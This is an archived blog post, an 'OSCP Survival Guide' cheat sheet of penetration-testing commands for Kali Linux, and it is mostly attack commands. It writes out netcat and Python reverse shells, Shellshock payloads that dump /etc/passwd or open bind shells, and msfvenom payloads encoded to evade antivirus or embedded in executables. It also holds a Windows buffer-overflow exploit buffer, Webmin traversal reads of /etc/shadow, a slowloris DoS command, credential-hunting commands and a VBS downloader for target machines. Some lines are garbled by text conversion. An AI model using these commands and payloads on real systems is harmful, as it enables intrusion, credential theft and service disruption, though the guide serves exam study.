x89k

archive.is/2019.01.16-232458/https://x89k.cf/infosec/2018/11/03/oscpsurvivalguide.html

January 16, 2019

Python, C, Reverse Engineering, Security

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


Series:

Reverse Engineering Basics

Malware With Python

Projects

November 3rd, 2018

OSCP-Survival-Guide
NOTE: This document refers to the target ip as the export variable $ip.

To set this value on the command line use the following syntax:

export ip=192.168.1.100

Table of Contents
Kali Linux
Buffer Overflows and Exploits
Shells
File Transfers
Networking, Pivoting and Tunneling
The Metasploit Framework
Bypassing Antivirus Software

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Kali Linux
Set the Target IP Address to the $ip system variable
export ip=192.168.1.100

Find the location of a file

locate sbd.exe

Search through directories in the $PATH environment variable

which sbd

Find a search for a file that contains a specific string in it’s name:
find / -name sbd\*

Show active internet connections

netstat -lntp

Change Password
passwd

Verify a service is running and listening

netstat -antp |grep apache

Start a service
systemctl start ssh

systemctl start apache2

Have a service start at boot

systemctl enable ssh

Stop a service
systemctl stop ssh

Unzip a gz file
gunzip access.log.gz

Unzip a tar.gz file

tar -xzvf file.tar.gz

Search command history

history | grep phrase_to_search_for

Download a webpage
wget http://www.cisco.com

Open a webpage
curl http://www.cisco.com

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String manipulation

Count number of lines in file

wc -l index.html

Get the start or end of a file

head index.html

tail index.html

Extract all the lines that contain a string

grep "href=" index.html

Cut a string by a delimiter, filter results then sort

grep "href=" index.html | cut -d "/" -f 3 | grep "\\." | cut -d '"' -f 1 |
sort -u

Using Grep and regular expressions and output to a file

cat index.html | grep -o 'http://\[^"\]\*' | cut -d "/" -f 3 | sort –u >
list.txt

Use a bash loop to find the IP address behind each host

for url in $(cat list.txt); do host $url; done

Collect all the IP Addresses from a log file and sort by frequency
cat access.log | cut -d " " -f 1 | sort | uniq -c | sort -urn

Decoding using Kali

Decode Base64 Encoded Values

echo -n "QWxhZGRpbjpvcGVuIHNlc2FtZQ==" | base64 --decode

Decode Hexidecimal Encoded Values

echo -n "46 4c 34 36 5f 33 3a 32 396472796 63637756 8656874" | xxd -r -ps

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Netcat - Read and write TCP and UDP Packets

Download Netcat for Windows (handy for creating reverse shells and transfering files on
windows systems):https://joncraton.org/blog/46/netcat-for-windows/
Connect to a POP3 mail server
nc -nv $ip 110

Listen on TCP/UDP port

nc -nlvp 4444

Connect to a netcat port

nc -nv $ip 4444

Send a file using netcat

nc -nv $ip 4444 < /usr/share/windows-binaries/wget.exe

Receive a file using netcat

nc -nlvp 4444 > incoming.exe

Some OSs (OpenBSD) will use nc.traditional rather than nc so watch out for that…

whereis nc
nc: /bin/nc.traditional /usr/share/man/man1/nc.1.gz

/bin/nc.traditional -e /bin/bash 1.2.3.4 4444

Create a reverse shell with Ncat using cmd.exe on Windows

nc.exe -nlvp 4444 -e cmd.exe

or

nc.exe -nv <Remote IP> <Remote Port> -e cmd.exe

Create a reverse shell with Ncat using bash on Linux

nc -nv $ip 4444 -e /bin/bash

Netcat for Banner Grabbing:

echo "" | nc -nv -w1 <IP Address> <Ports>

Ncat - Netcat for Nmap project which provides more security avoid IDS

Reverse shell from windows using cmd.exe using ssl

ncat --exec cmd.exe --allow $ip -vnl 4444 --ssl

Listen on port 4444 using ssl

ncat -v $ip 4444 --ssl

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Wireshark

Show only SMTP (port 25) and ICMP traffic:

tcp.port eq 25 or icmp

Show only traffic in the LAN (192.168.x.x), between workstations and servers – no
Internet:

ip.src==192.168.0.0/16 and ip.dst==192.168.0.0/16

Filter by a protocol ( e.g. SIP ) and filter out unwanted IPs:

ip.src != xxx.xxx.xxx.xxx && ip.dst != xxx.xxx.xxx.xxx && sip

Some commands are equal

ip.addr == xxx.xxx.xxx.xxx

Equals

ip.src == xxx.xxx.xxx.xxx or ip.dst == xxx.xxx.xxx.xxx

ip.addr != xxx.xxx.xxx.xxx

Equals

ip.src != xxx.xxx.xxx.xxx or ip.dst != xxx.xxx.xxx.xxx

Tcpdump

Display a pcap file

tcpdump -r passwordz.pcap

Display ips and filter and sort

tcpdump -n -r passwordz.pcap | awk -F" " '{print $3}' | sort -u | head

Grab a packet capture on port 80

tcpdump tcp port 80 -w output.pcap -i eth0

Check for ACK or PSH flag set in a TCP packet

tcpdump -A -n 'tcp[13] = 24' -r passwordz.pcap

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 IPTables

Deny traffic to ports except for Local Loopback

iptables -A INPUT -p tcp --destination-port 13327 ! -d $ip -j DROP

iptables -A INPUT -p tcp --destination-port 9991 ! -d $ip -j DROP

Clear ALL IPTables firewall rules

```bash
iptables -P INPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
iptables -t nat -F
iptables -t mangle -F
iptables -F
iptables -X
iptables -t raw -F iptables -t raw -X
```

Information Gathering & Vulnerability Scanning

Passive Information Gathering
Google Hacking

Google search to find website sub domains

site:microsoft.com

Google filetype, and intitle

intitle:"netbotz appliance" "OK" -filetype:pdf

Google inurl
inurl:"level/15/sexec/-/show"

Google Hacking Database:

https://www.exploit-db.com/google-hacking-database/
SSL Certificate Testing
https://www.ssllabs.com/ssltest/analyze.html
Email Harvesting

Simply Email
git clone https://github.com/killswitch-GUI/SimplyEmail.git

./SimplyEmail.py -all -e TARGET-DOMAIN

Netcraft

Determine the operating system and tools used to build a site

https://searchdns.netcraft.com/

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 Whois Enumeration
whois domain-name-here.com

whois $ip

Banner Grabbing

nc -v $ip 25

telnet $ip 25

nc TARGET-IP 80

Recon-ng - full-featured web reconnaissance framework written in Python

cd /opt; git clone https://[email protected]/LaNMaSteR53/recon-

ng.git

cd /opt/recon-ng

./recon-ng

show modules

help

Active Information Gathering

Port Scanning
Subnet Reference Table

/ Addresses Hosts Netmask Amount of a Class C

/30 4 2 255.255.255.252 1/64

/29 8 6 255.255.255.248 1/32

/28 16 14 255.255.255.240 1/16

/27 32 30 255.255.255.224 1/8

/26 64 62 255.255.255.192 1/4

/25 128 126 255.255.255.128 1/2

/24 256 254 255.255.255.0 1

/23 512 510 255.255.254.0 2

/22 1024 1022 255.255.252.0 4

/21 2048 2046 255.255.248.0 8

/20 4096 4094 255.255.240.0 16

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/ Addresses Hosts Netmask Amount of a Class C

/19 8192 8190 255.255.224.0 32

/18 16384 16382 255.255.192.0 64

/17 32768 32766 255.255.128.0 128

/16 65536 65534 255.255.0.0 256

Set the ip address as a variable

export ip=192.168.1.100 nmap -A -T4 -p- $ip

Netcat port Scanning

nc -nvv -w 1 -z $ip 3388-3390

Discover active IPs usign ARP on the network: arp-scan $ip/24

Discover who else is on the network

netdiscover

Discover IP Mac and Mac vendors from ARP

netdiscover -r $ip/24

Nmap stealth scan using SYN

nmap -sS $ip

Nmap stealth scan using FIN

nmap -sF $ip

Nmap Banner Grabbing

nmap -sV -sT $ip

Nmap OS Fingerprinting
nmap -O $ip

Nmap Regular Scan:

nmap $ip/24

Enumeration Scan
nmap -p 1-65535 -sV -sS -A -T4 $ip/24 -oN nmap.txt

Enumeration Scan All Ports TCP / UDP and output to a txt file
nmap -oN nmap2.txt -v -sU -sS -p- -A -T4 $ip

Nmap output to a file:

nmap -oN nmap.txt -p 1-65535 -sV -sS -A -T4 $ip/24

Quick Scan:
nmap -T4 -F $ip/24

Quick Scan Plus:

nmap -sV -T4 -O -F --version-light $ip/24

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Quick traceroute
nmap -sn --traceroute $ip

All TCP and UDP Ports

nmap -v -sU -sS -p- -A -T4 $ip

Intense Scan:
nmap -T4 -A -v $ip

Intense Scan Plus UDP

nmap -sS -sU -T4 -A -v $ip/24

Intense Scan ALL TCP Ports

nmap -p 1-65535 -T4 -A -v $ip/24

Intense Scan - No Ping

nmap -T4 -A -v -Pn $ip/24

Ping scan
nmap -sn $ip/24

Slow Comprehensive Scan

nmap -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script
"default or (discovery and safe)" $ip/24

Scan with Active connect in order to weed out any spoofed ports designed to troll you
nmap -p1-65535 -A -T5 -sT $ip

Enumeration

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DNS Enumeration

NMAP DNS Hostnames Lookup nmap -F --dns-server <dns server ip> <target ip
range>

Host Lookup
host -t ns megacorpone.com

Reverse Lookup Brute Force - find domains in the same range

for ip in $(seq 155 190);do host 50.7.67.$ip;done |grep -v "not found"

Perform DNS IP Lookup

dig a domain-name-here.com @nameserver

Perform MX Record Lookup

dig mx domain-name-here.com @nameserver

Perform Zone Transfer with DIG

dig axfr domain-name-here.com @nameserver

DNS Zone Transfers

Windows DNS zone transfer

nslookup -> set type=any -> ls -d blah.com

Linux DNS zone transfer

dig axfr blah.com @ns1.blah.com

Dnsrecon DNS Brute Force

dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml

Dnsrecon DNS List of megacorp

dnsrecon -d megacorpone.com -t axfr

DNSEnum
dnsenum zonetransfer.me

NMap Enumeration Script List:

NMap Discovery
https://nmap.org/nsedoc/categories/discovery.html
Nmap port version detection MAXIMUM power
nmap -vvv -A --reason --script="+(safe or default) and not broadcast" -p
<port> <host>

NFS (Network File System) Enumeration

Show Mountable NFS Shares nmap -sV --script=nfs-showmount $ip

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RPC (Remote Procedure Call) Enumeration

Connect to an RPC share without a username and password and enumerate privledges
rpcclient --user="" --command=enumprivs -N $ip

Connect to an RPC share with a username and enumerate privledges rpcclient --

user="<Username>" --command=enumprivs $ip

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SMB Enumeration

SMB OS Discovery
nmap $ip --script smb-os-discovery.nse

Nmap port scan

nmap -v -p 139,445 -oG smb.txt $ip-254

Netbios Information Scanning

nbtscan -r $ip/24

Nmap find exposed Netbios servers

nmap -sU --script nbstat.nse -p 137 $ip

Nmap all SMB scripts scan

nmap -sV -Pn -vv -p 445 --script='(smb*) and not (brute or broadcast or dos
or external or fuzzer)' --script-args=unsafe=1 $ip

Nmap all SMB scripts authenticated scan

nmap -sV -Pn -vv -p 445 --script-args smbuser=<username>,smbpass=<password>

--script='(smb*) and not (brute or broadcast or dos or external or fuzzer)'
--script-args=unsafe=1 $ip

SMB Enumeration Tools

nmblookup -A $ip

smbclient //MOUNT/share -I $ip -N

rpcclient -U "" $ip

enum4linux $ip

enum4linux -a $ip

SMB Finger Printing

smbclient -L //$ip

Nmap Scan for Open SMB Shares

nmap -T4 -v -oA shares --script smb-enum-shares --script-args
smbuser=username,smbpass=password -p445 192.168.10.0/24

Nmap scans for vulnerable SMB Servers

nmap -v -p 445 --script=smb-check-vulns --script-args=unsafe=1 $ip

Nmap List all SMB scripts installed

ls -l /usr/share/nmap/scripts/smb*

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 Enumerate SMB Users

nmap -sU -sS --script=smb-enum-users -p U:137,T:139 $ip-14

OR

python /usr/share/doc/python-impacket-doc/examples /samrdump.py $ip

RID Cycling - Null Sessions

ridenum.py $ip 500 50000 dict.txt

Manual Null Session Testing

Windows: net use \\$ip\IPC$ "" /u:""

Linux: smbclient -L //$ip

SMTP Enumeration - Mail Severs

Verify SMTP port using Netcat

nc -nv $ip 25
POP3 Enumeration - Reading other peoples mail - You may find usernames and passwords for
email accounts, so here is how to check the mail using Telnet

root@kali:~# telnet $ip 110

+OK beta POP3 server (JAMES POP3 Server 2.3.2) ready
USER billydean
+OK
PASS password
+OK Welcome billydean

list

+OK 2 1807
1 786
2 1021

retr 1

+OK Message follows

From: [email protected]
Dear Billy Dean,

Here is your login for remote desktop ... try not to forget it this time!
username: billydean
password: PA$$W0RD!Z

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SNMP Enumeration -Simple Network Management Protocol

Fix SNMP output values so they are human readable

apt-get install snmp-mibs-downloader download-mibs echo "" >
/etc/snmp/snmp.conf

SNMP Enumeration Commands

snmpcheck -t $ip -c public

snmpwalk -c public -v1 $ip 1|

grep hrSWRunName|cut -d\* \* -f

snmpenum -t $ip

onesixtyone -c names -i hosts

SNMPv3 Enumeration
nmap -sV -p 161 --script=snmp-info $ip/24

Automate the username enumeration process for SNMPv3:

apt-get install snmp snmp-mibs-downloader wget
https://raw.githubusercontent.com/raesene/TestingScripts/master/snmpv3enum.r
b

SNMP Default Credentials

/usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt

MS SQL Server Enumeration

Nmap Information Gathering

nmap -p 1433 --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-

cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-
sql-dac,ms-sql-dump-hashes --script-args mssql.instance-
port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER
$ip

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Webmin and miniserv/0.01 Enumeration - Port 10000

Test for LFI & file disclosure vulnerability by grabbing /etc/passwd

`curl
http://$ip:10000//unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/
..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%0
1/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..
%01/..%01/etc/passwd`

Test to see if webmin is running as root by grabbing /etc/shadow

`curl
http://$ip:10000//unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/
..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%0
1/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..
%01/..%01/etc/shadow`

Linux OS Enumeration

List all SUID files

find / -perm -4000 2>/dev/null

Determine the current version of Linux

cat /etc/issue

Determine more information about the environment

uname -a

List processes running

ps -xaf

List the allowed (and forbidden) commands for the invoking use
sudo -l

List iptables rules

iptables --table nat --list iptables -vL -t filter iptables -vL -t nat
iptables -vL -t mangle iptables -vL -t raw iptables -vL -t security

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Windows OS Enumeration

net config Workstation

systeminfo findstr /B /C:”OS Name” /C:”OS Version”

hostname

net users

ipconfig /all

route print

arp -A

netstat -ano

netsh firewall show state

netsh firewall show config

schtasks /query /fo LIST /v

tasklist /SVC

net start

DRIVERQUERY

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

dir /s pass == cred == vnc == .config

findstr /si password *.xml *.ini *.txt

reg query HKLM /f password /t REG_SZ /s

reg query HKCU /f password /t REG_SZ /s

Vulnerability Scanning with Nmap

Nmap Exploit Scripts

https://nmap.org/nsedoc/categories/exploit.html
Nmap search through vulnerability scripts
cd /usr/share/nmap/scripts/ ls -l \*vuln\*

Nmap search through Nmap Scripts for a specific keyword

ls /usr/share/nmap/scripts/\* | grep ftp

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Scan for vulnerable exploits with nmap
nmap --script exploit -Pn $ip

NMap Auth Scripts

https://nmap.org/nsedoc/categories/auth.html
Nmap Vuln Scanning
https://nmap.org/nsedoc/categories/vuln.html
NMap DOS Scanning
nmap --script dos -Pn $ip NMap Execute DOS Attack nmap --max-parallelism 750 -Pn
--script http-slowloris --script-args http-slowloris.runforever=true

Scan for coldfusion web vulnerabilities

nmap -v -p 80 --script=http-vuln-cve2010-2861 $ip

Anonymous FTP dump with Nmap

nmap -v -p 21 --script=ftp-anon.nse $ip-254

SMB Security mode scan with Nmap

nmap -v -p 21 --script=ftp-anon.nse $ip-254

File Enumeration

Find UID 0 files root execution

/usr/bin/find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld

{} \\; 2>/dev/null

Get handy linux file system enumeration script (/var/tmp)

wget https://highon.coffee/downloads/linux-local-enum.sh chmod +x ./linux-
local-enum.sh ./linux-local-enum.sh

Find executable files updated in August

find / -executable -type f 2> /dev/null | egrep -v "^/bin|^/var|^/etc|^/usr"
| xargs ls -lh | grep Aug

Find a specific file on linux

find /. -name suid\*

Find all the strings in a file

strings <filename>

Determine the type of a file

file <filename>

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HTTP Enumeration
Search for folders with gobuster:
gobuster -w /usr/share/wordlists/dirb/common.txt -u $ip

OWasp DirBuster - Http folder enumeration - can take a dictionary file

Dirb - Directory brute force finding using a dictionary file

dirb http://$ip/ wordlist.dict dirb <http://vm/>

Dirb against a proxy

dirb [http://$ip/](http://172.16.0.19/) -p $ip:3129

Nikto
nikto -h $ip

HTTP Enumeration with NMAP

nmap --script=http-enum -p80 -n $ip/24

Nmap Check the server methods

nmap --script http-methods --script-args http-methods.url-path='/test' $ip

Get Options available from web server curl -vX OPTIONS vm/test

Uniscan directory finder:

uniscan -qweds -u <http://vm/>

Wfuzz - The web brute forcer

wfuzz -c -w /usr/share/wfuzz/wordlist/general/megabeast.txt $ip:60080/?

FUZZ=test

wfuzz -c --hw 114 -w /usr/share/wfuzz/wordlist/general/megabeast.txt

$ip:60080/?page=FUZZ

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt "$ip:60080/?

page=mailer&mail=FUZZ"

wfuzz -c -w /usr/share/seclists/Discovery/Web_Content/common.txt --hc 404

$ip/FUZZ

Recurse level 3

wfuzz -c -w /usr/share/seclists/Discovery/Web_Content/common.txt -R 3 --sc

200 $ip/FUZZ

Open a service using a port knock (Secured with Knockd)

for x in 7000 8000 9000; do nmap -Pn –host_timeout 201 –max-retries 0 -p $x
server_ip_address; done

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 WordPress Scan - Wordpress security scanner

wpscan –url $ip/blog –proxy $ip:3129

RSH Enumeration - Unencrypted file transfer system

auxiliary/scanner/rservices/rsh_login
Finger Enumeration

finger @$ip

finger batman@$ip

TLS & SSL Testing

./testssl.sh -e -E -f -p -y -Y -S -P -c -H -U $ip aha > OUTPUT-FILE.html

Proxy Enumeration (useful for open proxies)

nikto -useproxy http://$ip:3128 -h $ip

Steganography

apt-get install steghide

steghide extract -sf picture.jpg

steghide info picture.jpg

apt-get install stegosuite

The OpenVAS Vulnerability Scanner

apt-get update
apt-get install openvas
openvas-setup

netstat -tulpn

Login at:
https://$ip:9392

Buffer Overflows and Exploits

DEP and ASLR - Data Execution Prevention (DEP) and Address Space Layout Randomization
(ASLR)

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Nmap Fuzzers:

NMap Fuzzer List

https://nmap.org/nsedoc/categories/fuzzer.html
NMap HTTP Form Fuzzer
nmap –script http-form-fuzzer –script-args ‘http-form-fuzzer.targets={1={path=/},2=
{path=/register.html}}’ -p 80 $ip

Nmap DNS Fuzzer

nmap –script dns-fuzz –script-args timelimit=2h $ip -d

MSFvenom
https://www.offensive-security.com/metasploit-unleashed/msfvenom/

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Windows Buffer Overflows

Controlling EIP

locate pattern_create
pattern_create.rb -l 2700
locate pattern_offset
pattern_offset.rb -q 39694438

Verify exact location of EIP - [*] Exact match at offset 2606

buffer = "A" \* 2606 + "B" \* 4 + "C" \* 90

Check for “Bad Characters” - Run multiple times 0x00 - 0xFF

Use Mona to determine a module that is unprotected

Bypass DEP if present by finding a Memory Location with Read and Execute access for
JMP ESP

Use NASM to determine the HEX code for a JMP ESP instruction

/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb

JMP ESP
00000000 FFE4 jmp esp

Run Mona in immunity log window to find (FFE4) XEF command

!mona find -s "\xff\xe4" -m slmfc.dll

found at 0x5f4a358f - Flip around for little endian format
buffer = "A" * 2606 + "\x8f\x35\x4a\x5f" + "C" * 390

MSFVenom to create payload

msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=443 -f c –e

x86/shikata_ga_nai -b "\x00\x0a\x0d"

Final Payload with NOP slide

buffer="A"*2606 + "\x8f\x35\x4a\x5f" + "\x90" * 8 + shellcode

Create a PE Reverse Shell

msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=4444 -f
exe -o shell_reverse.exe

Create a PE Reverse Shell and Encode 9 times with Shikata_ga_nai

msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=4444 -f
exe -e x86/shikata_ga_nai -i 9 -o shell_reverse_msf_encoded.exe

Create a PE reverse shell and embed it into an existing executable

msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=4444 -f exe -e
x86/shikata_ga_nai -i 9 -x /usr/share/windows-binaries/plink.exe -o
shell_reverse_msf_encoded_embedded.exe

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 Create a PE Reverse HTTPS shell
msfvenom -p windows/meterpreter/reverse_https LHOST=$ip LPORT=443 -f exe -o
met_https_reverse.exe

Linux Buffer Overflows

Run Evans Debugger against an app

edb –run /usr/games/crossfire/bin/crossfire

ESP register points toward the end of our CBuffer

add eax,12
jmp eax
83C00C add eax,byte +0xc
FFE0 jmp eax

Check for “Bad Characters” Process of elimination - Run multiple times 0x00 - 0xFF

Find JMP ESP address

“\x97\x45\x13\x08” # Found at Address 08134597

crash = “\x41” * 4368 + “\x97\x45\x13\x08” + “\x83\xc0\x0c\xff\xe0\x90\x90”

msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 -f c -b “\x00\x0a\x0d\x20” –e

x86/shikata_ga_nai

Connect to the shell with netcat:

nc -v $ip 4444

Shells
Netcat Shell Listener

nc -nlvp 4444

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Spawning a TTY Shell - Break out of Jail or limited shell You should almost always upgrade your
shell after taking control of an apache or www user.

(For example when you encounter an error message when trying to run an exploit sh: no
job control in this shell )

(hint: sudo -l to see what you can run)

You may encounter limited shells that use rbash and only allow you to execute a single
command per session. You can overcome this by executing an SSH shell to your
localhost:

ssh user@$ip nc $localip 4444 -e /bin/sh

enter user's password
python -c 'import pty; pty.spawn("/bin/sh")'
export TERM=linux

python -c 'import pty; pty.spawn("/bin/sh")'

python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF\_INET,socket.SOCK\_STREAM);
s.connect(("$ip",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(\["/bin/sh","-i"\]);'

echo os.system('/bin/bash')

/bin/sh -i

perl —e 'exec "/bin/sh";'

perl: exec "/bin/sh";

ruby: exec "/bin/sh"

lua: os.execute('/bin/sh')

From within IRB: exec "/bin/sh"

From within vi: :!bash or

:set shell=/bin/bash:shell

From within vim ':!bash':

From within nmap: !sh

From within tcpdump

echo $’id\\n/bin/netcat $ip 443 –e /bin/bash’ > /tmp/.test chmod +x /tmp/.test sudo
tcpdump –ln –I eth- -w /dev/null –W 1 –G 1 –z /tmp/.tst –Z root

From busybox /bin/busybox telnetd -|/bin/sh -p9999

Pen test monkey PHP reverse shell

http://pentestmonkey.net/tools/web-shells/php-reverse-shel

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php-findsock-shell - turns PHP port 80 into an interactive shell
http://pentestmonkey.net/tools/web-shells/php-findsock-shell
Perl Reverse Shell
http://pentestmonkey.net/tools/web-shells/perl-reverse-shell
PHP powered web browser Shell b374k with file upload etc.
https://github.com/b374k/b374k
Windows reverse shell - PowerSploit’s Invoke-Shellcode script and inject a Meterpreter
shellhttps://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-
Shellcode.ps1
Web Backdoors from Fuzzdb https://github.com/fuzzdb-project/fuzzdb/tree/master/web-
backdoors

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Creating Meterpreter Shells with MSFVenom -
http://www.securityunlocked.com/2016/01/02/network-security-pentesting/most-useful-
msfvenom-payloads/
Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your

Port to Connect On> -f elf > shell.elf

Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your

Port to Connect On> -f exe > shell.exe

Mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to

Connect On> -f macho > shell.macho

Web Payloads

PHP

msfvenom -p php/reverse_php LHOST=<Your IP Address> LPORT=<Your Port to Connect

On> -f raw > shell.php

OR

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port

to Connect On> -f raw > shell.php

Then we need to add the <?php at the first line of the file so that it will execute as a PHP
webpage:

cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >>
shell.php

ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your

Port to Connect On> -f asp > shell.asp

JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port

to Connect On> -f raw > shell.jsp

WAR

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port

to Connect On> -f war > shell.war

Scripting Payloads

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Python

msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to

Connect On> -f raw > shell.py

Bash

msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to

Connect On> -f raw > shell.sh

Perl

msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to

Connect On> -f raw > shell.pl

Shellcode

For all shellcode see ‘msfvenom –help-formats’ for information as to valid parameters.
Msfvenom will output code that is able to be cut and pasted in this language for your exploits.

Linux Based Shellcode

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your

Port to Connect On> -f <language>

Windows Based Shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your

Port to Connect On> -f <language>

Mac Based Shellcode

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to

Connect On> -f <language>

Handlers Metasploit handlers can be great at quickly setting up Metasploit to be in a position to

receive your incoming shells. Handlers should be in the following format.

use exploit/multi/handler
set PAYLOAD <Payload name>
set LHOST <LHOST value>
set LPORT <LPORT value>
set ExitOnSession false
exploit -j -z

Once the required values are completed the following command will execute your handler –
‘msfconsole -L -r ‘

SSH to Meterpreter: https://daemonchild.com/2015/08/10/got-ssh-creds-want-meterpreter-try-

this/

use auxiliary/scanner/ssh/ssh_login
use post/multi/manage/shell_to_meterpreter

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 SBD.exe

sbd is a Netcat-clone, designed to be portable and offer strong encryption. It runs on Unix-like
operating systems and on Microsoft Win32. sbd features AES-CBC-128 + HMAC-SHA1
encryption (by Christophe Devine), program execution (-e option), choosing source port,
continuous reconnection with delay, and some other nice features. sbd supports TCP/IP
communication only. sbd.exe (part of the Kali linux distribution: /usr/share/windows-
binaries/backdoors/sbd.exe) can be uploaded to a windows box as a Netcat alternative.

Shellshock

Testing for shell shock with NMap

root@kali:~/Documents# nmap -sV -p 80 --script http-shellshock --script-args
uri=/cgi-bin/admin.cgi $ip

git clone https://github.com/nccgroup/shocker

./shocker.py -H TARGET --command "/bin/cat /etc/passwd" -c /cgi-bin/status --
verbose

Shell Shock SSH Forced Command

Check for forced command by enabling all debug output with ssh

ssh -vvv
ssh -i noob noob@$ip '() { :;}; /bin/bash'

cat file (view file contents)

echo -e "HEAD /cgi-bin/status HTTP/1.1\\r\\nUser-Agent: () {:;}; echo

\\$(</etc/passwd)\\r\\nHost:vulnerable\\r\\nConnection: close\\r\\n\\r\\n" | nc
TARGET 80

Shell Shock run bind shell

echo -e "HEAD /cgi-bin/status HTTP/1.1\\r\\nUser-Agent: () {:;}; /usr/bin/nc -l -p

9999 -e /bin/sh\\r\\nHost:vulnerable\\r\\nConnection: close\\r\\n\\r\\n" | nc
TARGET 80

File Transfers
Post exploitation refers to the actions performed by an attacker, once some level of control has
been gained on his target.

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Simple Local Web Servers

Run a basic http server, great for serving up shells etc

python -m SimpleHTTPServer 80

Run a basic Python3 http server, great for serving up shells etc
python3 -m http.server

Run a ruby webrick basic http server

ruby -rwebrick -e “WEBrick::HTTPServer.new
(:Port => 80, :DocumentRoot => Dir.pwd).start”

Run a basic PHP http server

php -S $ip:80

Creating a wget VB Script on Windows:

https://github.com/erik1o6/oscp/blob/master/wget-vbs-win.txt
Windows file transfer script that can be pasted to the command line. File transfers to a Windows
machine can be tricky without a Meterpreter shell. The following script can be copied and pasted
into a basic windows reverse and used to transfer files from a web server (the timeout 1
commands are required after each new line):

echo Set args = Wscript.Arguments >> webdl.vbs

timeout 1
echo Url = "http://1.1.1.1/windows-privesc-check2.exe" >> webdl.vbs
timeout 1
echo dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") >> webdl.vbs
timeout 1
echo dim bStrm: Set bStrm = createobject("Adodb.Stream") >> webdl.vbs
timeout 1
echo xHttp.Open "GET", Url, False >> webdl.vbs
timeout 1
echo xHttp.Send >> webdl.vbs
timeout 1
echo with bStrm >> webdl.vbs
timeout 1
echo .type = 1 ' >> webdl.vbs
timeout 1
echo .open >> webdl.vbs
timeout 1
echo .write xHttp.responseBody >> webdl.vbs
timeout 1
echo .savetofile "C:\temp\windows-privesc-check2.exe", 2 ' >> webdl.vbs
timeout 1
echo end with >> webdl.vbs
timeout 1
echo

The file can be run using the following syntax:

C:\temp\cscript.exe webdl.vbs

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HTTP Put
nmap -p80 $ip –script http-put –script-args http-put.url=’/test/sicpwn.php’,http-
put.file=’/var/www/html/sicpwn.php

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Uploading Files
SCP

scp username1@source_host:directory1/filename1
username2@destination_host:directory2/filename2

scp localfile username@$ip:~/Folder/

scp Linux_Exploit_Suggester.pl [email protected]:~

Webdav with Davtest- Some sysadmins are kind enough to enable the PUT method - This
tool will auto upload a backdoor

